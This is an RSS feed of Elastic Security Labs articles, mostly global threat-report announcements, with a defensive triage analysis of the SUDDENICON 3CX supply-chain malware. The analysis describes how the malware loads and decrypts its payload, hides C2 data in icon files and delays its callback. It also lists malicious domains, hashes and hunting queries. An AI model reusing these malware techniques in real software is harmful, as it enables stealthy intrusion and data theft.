<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Devon Kerr</title>
        <link>https://www.elastic.co/cn/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 05 Mar 2026 22:21:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Devon Kerr</title>
            <url>https://www.elastic.co/cn/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/cn/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[What the 2025 Elastic Global Threat Report reveals about the evolving threat landscape]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-publishes-2025-global-threat-report</link>
            <guid>elastic-publishes-2025-global-threat-report</guid>
            <pubDate>Wed, 08 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The 2025 Elastic Global Threat Report provides current insights on adversary trends and defender strategies derived from real-world telemetry.]]></description>
            <content:encoded><![CDATA[<p>For the fourth consecutive year, Elastic Security Labs presents its <a href="https://www.elastic.co/cn/resources/security/report/global-threat-report">2025 Global Threat Report</a>, distilling real-world user telemetry to offer critical insights into the evolving threat landscape. This year's report delves into how AI is redefining threats, highlights areas where adversaries are intensifying their efforts, and provides actionable strategies for enterprises to proactively counter these emerging risks.</p>
<h2>Key highlights</h2>
<ul>
<li>
<p><strong>Adversary priorities on Windows are changing.</strong> The tactic category of <strong>Execution</strong> now accounts for <strong>nearly double</strong> its previous share and surpasses <strong>Defense Evasion</strong> as the top tactic.</p>
</li>
<li>
<p><strong>The cloud attack surface is highly concentrated.</strong> Over <strong>60% of all cloud security events</strong> boil down to just three adversary goals: Initial Access, Persistence, and Credential Access.</p>
</li>
<li>
<p><strong>Adversaries are weaponizing AI to lower the barrier to entry for cybercrime.</strong> We saw an <strong>increase in Generic threats</strong>, a trend likely influenced by adversaries using large language models (LLMs) to quickly generate simple but effective malicious loaders and tools.</p>
</li>
<li>
<p><strong>The theft of browser credentials has industrialized.</strong> Our analysis of over 150,000 malware samples revealed that <strong>more than one in eight</strong> are designed to steal browser data. This isn't for isolated use; these credentials are the raw material fueling the <strong>access broker economy</strong>, providing a steady supply of keys for other attackers to compromise corporate cloud accounts.</p>
</li>
</ul>
<h3>What we learned from the report</h3>
<p>The security landscape is undergoing a rapid transformation. Adversaries’ AI-driven threat innovation is evolving at an accelerated pace via streamlined information synthesis and automated workflows. This is resulting in more diverse adversary capabilities and new, indirect avenues of access. AI’s role on both sides of the cyber battle is anticipated to shift significantly as these technologies become more widespread.</p>
<p>This report uncovers real-world threat activities, revealing a fundamental shift in how adversaries achieve success today. It also includes a new section describing our visibility from non-telemetry sources, highlighting which malware families and threat behaviors were seen externally.</p>
<p>Access brokers are increasingly using information stealers to maintain a distance from collective defense efforts, significantly escalating the risks of credential exposure through cloud storage and other services. Trojanized software, which represented about 61% of all malware samples observed, was a major contributor; the ClickFix methodology is one of the most common techniques used to deliver trojans and infostealers. More than 24% of malware samples on Windows represented named infostealer code families.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2025-global-threat-report/image2.png" alt="" /></p>
<p>Defense Evasion techniques have held the top spot for several years. This is attributed to improvements in detection and response capabilities that drive adversaries toward edge devices with a powerful capacity for exploit development. Execution rose to more than 32% of techniques followed by defense evasion at 23% and initial access around 19%. Together, these larger patterns reveal that attackers are investing in gaining a cheap foothold with minimum exposure and quickly running other malicious code. Scripts and browser-based techniques as well as SaaS compromise attempts show us another aspect of these threat trends and highlight areas where many enterprises could improve their defenses.</p>
<p>Threat profiles for BANSHEE, EDDIESTEALER, and ARECHCLIENT2 demonstrate how some of the most popular novel discoveries from the Elastic Security Labs team used infostealers. REF7707, a threat campaign involving the FINALDRAFT, PATHLOADER, and GUIDLOADER malware families, provides details about how an espionage-motivated threat evaded defenses using Microsoft’s GraphAPI for C2. Without the visibility shared by our customers, these threats may have made a much bigger impact before being revealed.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2025-global-threat-report/image4.png" alt="" /></p>
<h2>Navigate the AI-era threat landscape with Elastic</h2>
<p><a href="https://www.elastic.co/cn/security-labs">Elastic Security Labs</a> is dedicated to providing crucial, timely security research to the intelligence community. This report reveals a shift in the threat landscape — one in which AI is continuing to surface as a tool for both adversaries and defenders. With Elastic as your partner, this <a href="https://www.elastic.co/cn/resources/security/report/global-threat-report">2025 Elastic Global Threat Report</a> empowers you to make informed decisions on how best to address these evolving threats.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>
<p><em>In this blog post, we may have used or referred to third party generative AI tools, which are owned and operated by their respective owners. Elastic does not have any control over the third party tools and we have no responsibility or liability for their content, operation or use, nor for any loss or damage that may arise from your use of such tools. Please exercise caution when using AI tools with personal, sensitive or confidential information. Any data you submit may be used for AI training or other purposes. There is no guarantee that information you provide will be kept secure or confidential. You should familiarize yourself with the privacy practices and terms of use of any generative AI tools prior to use.</em></p>
<p><em>Elastic, Elasticsearch, and associated marks are trademarks, logos or registered trademarks of Elasticsearch N.V. in the United States and other countries. All other company and product names are trademarks, logos or registered trademarks of their respective owners.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2025-global-threat-report/gtr-w.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Elastic publishes 2024 Global Threat Report]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-publishes-2024-gtr</link>
            <guid>elastic-publishes-2024-gtr</guid>
            <pubDate>Tue, 01 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has released the 2024 Elastic Global Threat Report, surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year.]]></description>
            <content:encoded><![CDATA[<p><em>Elastic Security Labs discovers that threat actors are taking advantage of readily available and commonly abused security tools, and misconfigured environments.</em></p>
<p>Elastic Security Labs has released the <a href="http://www.elastic.co/cn/blog/elastic-global-threat-2024">2024 Elastic Global Threat Report</a>, surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year. Threat actors are finding success from the use of offensive security tools (OSTs), a misconfiguration of cloud environments, and a growing emphasis on Credential Access. This report explores key telemetry from over a billion data points with emphasis on malware trends, adversary tactics, cloud security, and generative AI curated by Elastic Security Labs.</p>
<p>Read the <a href="http://www.elastic.co/cn/blog/elastic-global-threat-2024">announcement</a> and <a href="https://www.elastic.co/cn/resources/security/report/global-threat-report">download</a> the 2024 Elastic Global Threat Report to gain an in-depth understanding of the threat landscape.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2024-gtr/2024-gtr.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Fall 2023 Global Threat Report Outro]]></title>
            <link>https://www.elastic.co/cn/security-labs/fall-2023-global-threat-report-outro</link>
            <guid>fall-2023-global-threat-report-outro</guid>
            <pubDate>Thu, 19 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This article highlights the essential contributions to the Global Threat Report from the Security Intelligence team, and describes three major phenomena impacting the threat landscape.]]></description>
            <content:encoded><![CDATA[<p>After months of diligent work, Elastic Security Labs is excited to announce the publication of the <a href="https://www.elastic.co/cn/explore/security-without-limits/2023-global-threat-report">October 2023 Global Threat Report</a>. For our second annual publication of this kind, we knew it was going to be a greater effort– not only did the volume of events increase more than 1000%, we had entirely new types and depth of visibility from features released since our inaugural report.</p>
<p>It goes without saying (but let’s say it for good measure) that none of this would be possible without our users sharing more than one billion security events each year with us. And it certainly wouldn’t be possible without our Elastic colleagues who make our powerful world-spanning capability.</p>
<p>One essential contributor is the Threat Research and Detection Engineering team (TRaDE), who develop features like rules and investigation guides, and assigned the legendary <a href="https://twitter.com/_xDeJesus">Terrance DeJesus</a>. Terrance was instrumental in creating the inaugural report, applying his <a href="https://www.elastic.co/cn/security-labs/google-workspace-attack-surface-part-one">cloud attack surface expertise</a> and security operations experience to this process. Another crucial team is Security Data Analytics (SDA), which is responsible for all the systems that enable us to analyze telemetry. <a href="https://twitter.com/c_donaher">Chris Donaher</a> leads SDA by day (also by night, technically), and helped us comb through hundreds of millions of events this year.</p>
<p>The work from these teams and the rest of Elastic Security Labs shows our commitment to providing security teams with actionable intelligence about threat phenomena so they can better prepare for, resist, and evict threats. By democratizing access to knowledge and resources, including publications like the Global Threat Report, we hope to demonstrate a more effective way to improve security outcomes. We’re more secure together and we can’t succeed without each other.</p>
<p>In our observations, we identified the following factors as reactions to security innovations that are making environments hostile to threats:</p>
<ul>
<li>Heavy adversary investments in defense evasion like using built-in execution proxies to run malicious code, masquerading as legitimate software, and software supply-chain compromise</li>
<li>Significant research devoted to bypassing, tampering with, or disabling security instrumentation</li>
<li>Increased reliance on credential theft to enable business email and cloud-resource compromise, places where endpoint visibility is not generally available</li>
</ul>
<h3>Defense Evasion</h3>
<p>During the development of our inaugural Global Threat Report last year, we were surprised to see how often adversaries used a defense evasion capability regardless of the industry or region they targeted. After analyzing events from thousands of different environments all over the world, we better understood that defense evasion was a reaction to the state of security. It was a trend we saw again this year, just one of several forces shaping the threat landscape today.</p>
<p>More than 43% of the techniques and procedures we observed this year were forms of defense evasion, with <a href="https://attack.mitre.org/techniques/T1218/">System Binary Proxy Execution</a> representing almost half of those events. These utilities are present on all operating systems and facilitate code execution– some common examples include software that interprets scripts, launches DLLs, and executes web content.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/fall-2023-global-threat-report-outro/image2.png" alt="Figure 1. Top defense evasion techniques" /></p>
<p><a href="https://www.elastic.co/cn/security-labs/revisiting-blister-new-developments-of-the-blister-loader">BLISTER</a>, which is a malware loader associated with financially-motivated intrusions, relied on the <em>rundll32.exe</em> proxy built into every version of Microsoft Windows to launch their backdoor this year. The BLISTER loader is a useful example because its authors invested a great deal of energy encrypting and obfuscating their malicious code inside a benign application. They fraudulently signed their “franken-payload” to ensure human and machine mitigations didn’t interfere.</p>
<h3>Endpoint tampering</h3>
<p>This year we also saw the popularity of Bring Your Own Vulnerable Driver (BYOVD), which was <a href="https://www.elastic.co/cn/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">described</a> by <a href="https://twitter.com/GabrielLandau">Gabe Landau</a> in a recent publication and provides a way to load an exploitable driver on Windows systems. Drivers run with system-level privileges but what’s more interesting is how vulnerable drivers can be used to disable or <a href="https://thehackernews.com/2023/04/ransomware-hackers-using-aukill-tool-to.html">tamper with security tools</a>. It won’t be long before more adversaries pivot from using this capability to launch malware and instead use it to uninstall security sensors.</p>
<p>To see this in action, look no further than your friendly neighborhood ransomware-as-a-service ecosystem. SOCGHOLISH, the group associated with BLISTER coincidentally, is one of multitudes that grew out of startup digs and became a criminal enterprise. Most of the ransomware we see is related to these kinds of services– and even as one gets disrupted it seems another is always emerging to take its place.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/fall-2023-global-threat-report-outro/image1.png" alt="Figure 2. Most frequently seen ransomware infections" /></p>
<p>This is, in a very literal sense, a human phenomenon. Threats that endure periods of security innovation and disruption seem to do so by learning not to be caught, and one strategy of mature threats is to move edge-ward to Internet-facing systems, network devices, appliances, or cloud platforms where visibility is less mature. Consider the cost and relative risk of the following options: develop a feature-rich multiplatform implant with purposeful capabilities or purchase account credentials from a broker.</p>
<h3>Credential Access</h3>
<p>Although only about 7% of the data we analyzed involved one form of credential theft or another, 80% of those leveraged built-in operating system features. With functioning stolen credentials, many threat groups can directly interact with an enterprise’s critical data to access email, steal intellectual property, or deploy cloud resources.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/fall-2023-global-threat-report-outro/image3.png" alt="Figure 3. Commonly seen credential access techniques" /></p>
<p>Abusing stolen credentials has more utility today than ever before, given the widespread adoption of cloud for storage, productivity, code management, and authentication to third party services. For those threats that prioritize a low profile over other goals, credential theft is a shortcut with low exposure.</p>
<p>Insights like these, and many others, can be found in the 2023 Global Threat Report along with forecasts and threat profiles. Elastic Security Labs shares <a href="https://www.elastic.co/cn/security-labs/disclosing-the-bloodalchemy-backdoor">malware research</a>, <a href="https://www.elastic.co/cn/security-labs/unpacking-icedid">tools</a>, <a href="https://www.elastic.co/cn/security-labs/inital-research-of-jokerspy">intelligence analyses</a>, as well as <a href="https://www.elastic.co/cn/security-labs/peeling-back-the-curtain-with-call-stacks">detection science</a> and <a href="https://www.elastic.co/cn/security-labs/accelerating-elastic-detection-tradecraft-with-llms">machine learning/artificial intelligence</a> research.</p>
<p>You can <a href="https://www.elastic.co/cn/explore/security-without-limits/2023-global-threat-report">download the report</a> or check out our <a href="http://elastic.co/gtr">other assets</a>. Reach out to us on <a href="https://twitter.com/elasticseclabs">X</a> and get a deeper dive on the GTR results with our webinar <a href="https://www.elastic.co/cn/virtual-events/insights-from-the-2023-elastic-global-threat-report">Prepare for tomorrow: Insights from the 2023 Elastic Global Threat Report</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/fall-2023-global-threat-report-outro/image4.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Now available: The LLM safety assessment]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-security-labs-releases-llm-safety-report</link>
            <guid>elastic-security-labs-releases-llm-safety-report</guid>
            <pubDate>Sat, 06 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Check out the newest report from Elastic Security Labs, which explores how you can protect your organization from LLM threats.]]></description>
            <content:encoded><![CDATA[<p>Today Elastic Security Labs publishes our <a href="https://www.elastic.co/cn/security/llm-safety-report?utm_source=labshome">LLM safety assessment report</a>, a research endeavor meant to collect and clarify information about practical threats to large language models. These forms of generative AI are likely to become ubiquitous in the near future-- but we need to consider the security of them <strong>a little sooner</strong> than that.</p>
<p>One of the most immediate and significant challenges-- and this is true of every new data source-- is understanding the properties and characteristics of the data, if it exists. You can read more about that process in this <a href="https://www.elastic.co/cn/security-labs/embedding-security-in-llm-workflows">excellent</a> <a href="https://www.elastic.co/cn/security-labs/elastic-advances-llm-security">pair</a> of articles, which speak to a challenge many detection engineers are facing today.</p>
<p>New data sources are problematic in a unique way: with no visibility to rank malicious techniques by popularity, how does a detection engineer determine the most effective detections? Mapping fields and normalizing a data source is a good <strong>initial</strong> step that makes it possible to begin investigating; it's exciting to be a little closer to the answer today than we were yesterday.</p>
<p>Check out the new report, browse our <a href="https://www.elastic.co/cn/security-labs/topics/generative-ai">prior research</a> on this topic, and join us in preparing for tomorrow.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-security-labs-releases-llm-safety-report/image1.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Elastic users protected from SUDDENICON’s supply chain attack]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack</link>
            <guid>elastic-users-protected-from-suddenicon-supply-chain-attack</guid>
            <pubDate>Fri, 05 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.]]></description>
            <content:encoded><![CDATA[<h1>Key takeaways</h1>
<ul>
<li>Elastic users are protected from supply chain attacks targeting the 3CX users</li>
<li>How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams</li>
<li>Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists</li>
</ul>
<h1>Preamble</h1>
<p>On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">as detailed in a Reddit post</a>. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">as reported by Todyl</a>.</p>
<p><a href="https://www.3cx.com/company/customers/">3CX states</a> it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.</p>
<p>In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware</p>
<h1>SUDDENICON triage analysis</h1>
<p>The 3CXDesktopApp <a href="https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868">installer MSI</a> appears to contain malicious code which waits seven days post-installation before downloading additional files from <a href="https://github.com/IconStorages/images">GitHub</a> and communicating with malicious command-and-control domains. The client application writes <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> are both legitimate file names and rules should not be created on them alone.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image1.jpg" alt="ffmpeg.dll referencing the d3dcompiler_47.dll file" /></p>
<p>The <code>ffmpeg.dll</code> binary extracts SUDDENICON from <code>d3dcompiler\_47.dll</code> by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (<code>3jB(2bsG#@c7</code>). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a">associated with DPRK</a>. Upon successfully executing, this shellcode stub writes a new file ( <code>manifest</code> ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image3.jpg" alt="ffmpeg.dll loading the d3dcompiler_47.dll file" /></p>
<p>C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the <a href="https://github.com/IconStorages">IconStorages Github repository</a> (this repository has been removed by Github). This repo was created by GitHub ID <code>120072117</code> on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image5.png" alt="SUDDENICON downloading a new executable" /></p>
<p>Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.</p>
<p>The CEO of 3CX has <a href="https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/">recommended uninstalling the software</a>; a small number of <a href="https://www.3cx.com/community/forums">community forum</a> posts outline how security tooling is reacting to potential malware behaviors, and <a href="https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/">CrowdStrike</a> and <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">SentinelOne</a> have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.</p>
<h1>Detection logic</h1>
<h2>Prevention</h2>
<ul>
<li>Memory Threat Detection Alert: Shellcode injection</li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">Windows.Trojan.SuddenIcon</a></li>
</ul>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image4.jpg" alt="Memory Threat Detection Alert: Shellcode injection" /></p>
<h2>Hunting queries</h2>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h2>KQL queries</h2>
<p>The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>process.name : &quot;3CXDesktopApp.exe&quot; and dns.question.name : &quot;raw.githubusercontent.com&quot;</code></p>
<p>The following KQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>dll.hash.sha256  : &quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot; or dll.hash.sha256 :  &quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;</code></p>
<h2>EQL queries</h2>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to profile 3CX software and child software:</p>
<p><code>any where process.code_signature.subject_name == &quot;3CX Ltd&quot; or process.parent.code_signature.subject_name == &quot;3CX Ltd&quot;</code></p>
<p>The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>network where process.code_signature.subject_name == &quot;3CX Ltd&quot; and dns.question.name == “raw.githubusercontent.com”</code></p>
<p>The following EQL query can be used to identify files written by the 3CXDesktopApp client:</p>
<p><code>file where event.type == &quot;creation&quot; and (host.os.type == &quot;windows&quot; and file.path : &quot;*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*&quot; and file.name : (&quot;manifest&quot;)) or (host.os.type == &quot;macos&quot; and file.path : &quot;*/Library/Application Support/3CX Desktop App/&quot; and file.name : (&quot;UpdateAgent&quot;, &quot;.main_storage&quot;, &quot;.session-lock&quot;)</code></p>
<p>The following EQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>sequence by host.name, process.entity_id[process where process.code_signature.subject_name:&quot;3CX Ltd&quot;][library where dll.hash.sha256:&quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;,&quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot;][network where dns.question.name:&quot;raw.githubusercontent.com&quot;]</code></p>
<p>The following EQL query can be used to identify this activity if the DLL is updated:</p>
<p><code>library where process.code_signature.subject_name : &quot;3CX Ltd&quot; and not dll.code_signature.trusted == true and not startswith~(dll.name, process.name) and /* DLL loaded from the process.executable directory */ endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1)))</code></p>
<h2>YARA</h2>
<p>Elastic Security Labs has released <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">two YARA signatures</a> for the malicious shellcode, which we refer to as SUDDENICON.</p>
<h2>Defensive recommendations</h2>
<p>Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image2.jpg" alt="Enabling the Memory threat protection feature in Prevent mode" /></p>
<h1>References</h1>
<p>The following were referenced throughout the above research: - <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/</a> - <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/</a> - <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign</a></p>
<h1>Indicators</h1>
<h2>Potentially malicious domains</h2>
<p>Bold domains indicate that they were observed in our analysis.</p>
<ul>
<li>akamaicontainer[.]com</li>
<li>akamaitechcloudservices[.]com</li>
<li><code>azuredeploystore[.]com</code></li>
<li>azureonlinecloud[.]com</li>
<li>azureonlinestorage[.]com</li>
<li>dunamistrd[.]com</li>
<li>glcloudservice[.]com</li>
<li>journalide[.]org</li>
<li><code>msedgepackageinfo[.]com</code></li>
<li>msstorageazure[.]com</li>
<li><code>msstorageboxes[.]com</code></li>
<li><code>officeaddons[.]com</code></li>
<li><code>officestoragebox[.]com</code></li>
<li>pbxcloudeservices[.]com</li>
<li>pbxphonenetwork[.]com</li>
<li>pbxsources[.]com</li>
<li>qwepoi123098[.]com</li>
<li>sbmsa[.]wiki</li>
<li><code>sourceslabs[.]com</code></li>
<li><code>visualstudiofactory[.]com</code></li>
<li><code>zacharryblogs[.]com</code></li>
</ul>
<h1>Potentially impacted 3CXDesktopApp versions and hashes:</h1>
<p>Client hash: <code>dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc</code> OS: Windows Installer hash: <code>aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868</code> Installer filename: <code>3cxdesktopapp-18.12.407.msi</code></p>
<p>Client hash: <code>fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405</code> OS: Windows Installer hash: <code>59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983</code> Installer filename: <code>3cxdesktopapp-18.12.416.msi</code></p>
<p>Client hash: <code>92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61</code> OS: macOS Installer hash: <code>5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290</code> Installer filename: <code>3CXDesktopApp-18.11.1213.dmg</code></p>
<p>Client hash: <code>b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb</code> OS: macOS Installer hash: <code>e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec</code> Installer filename: <code>3cxdesktopapp-latest.dmg</code></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/photo-edited-06@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic publishes 2023 Global Threat Report Spring Edition]]></title>
            <link>https://www.elastic.co/cn/security-labs/elastic-publishes-2023-global-threat-report-spring-edition</link>
            <guid>elastic-publishes-2023-global-threat-report-spring-edition</guid>
            <pubDate>Fri, 28 Apr 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This week, we’re publishing a new version of this report that’s online and interactive, which includes additional data covering the remainder of 2022, written using Elastic technologies.]]></description>
            <content:encoded><![CDATA[<p>Last November, Elastic <a href="https://www.elastic.co/cn/security-labs/2022-elastic-global-threat-report-announcement">published</a> our inaugural global threat report: a summary of threat trends, forecasts, and recommendations based on analyzing millions of telemetry events shared by users around the world. This report is an important part of our continued commitment to transparency, our mission to protect the world's data, as well as a snapshot of our global threat visibility.</p>
<p>This week, we’re publishing a new version of this report that’s <a href="https://ela.st/gtr">online</a> and interactive, which includes additional data covering the remainder of 2022, written using Elastic. We’d like to offer a few thoughts on this interactive report and share findings both forecasted and unexpected. Let’s take a look at the 2023 Global Threat Report Spring edition!</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2023-global-threat-report-spring-edition/image1.png" alt="Elastic Global Threat Report Spring Edition" /></p>
<p>First, let’s talk about malware: - We observed consistent trends throughout 2022, with the same approximate ratios of different malware types in all geographies - Trojans, cryptominers, and ransomware held the top spots - Linux and Windows continued to see higher rates of malware than MacOS</p>
<p>Next, consider these cloud observations: - Credential access attempts beat out every other tactic for Microsoft Azure, Google Cloud, and AWS as forecast - Brute force techniques remained steady along with token theft</p>
<p>But there were also a few new findings: - Impairing defenses by tampering with cloud logging functionality was one of the most common techniques we observed in the later part of 2022 and continues into 2023 - This likely impacted visibility of other techniques due to missing data sources, and is potentially a reaction to improvements in cloud logging - XMRig prevalence exploded on MacOS, likely as a result of macroeconomic conditions</p>
<p>As excited as we are to begin work on the <em>next</em> Elastic Global Threat Report and review how well we forecasted 2023, it’s been energizing to close out the 2022 calendar year with a few surprises. Defense evasion is still the top tactic for endpoint, credential access is still king of cloud, and malware trends have stayed pretty consistent. <a href="https://ela.st/gtr">Check it out</a> yourself and learn a little bit about how Elastic’s Canvas technology simplifies visualization.</p>
<p>If you’re attending RSAC 2023 come visit us at booth #5879, and don’t forget to follow @elasticseclabs on Twitter.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/cn/security-labs/assets/images/elastic-publishes-2023-global-threat-report-spring-edition/download_(1).jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic Global Threat Report Multipart Series Overview]]></title>
            <link>https://www.elastic.co/cn/security-labs/gtr-multipart-series-overview</link>
            <guid>gtr-multipart-series-overview</guid>
            <pubDate>Mon, 24 Apr 2023 00:00:00 GMT</pubDate>
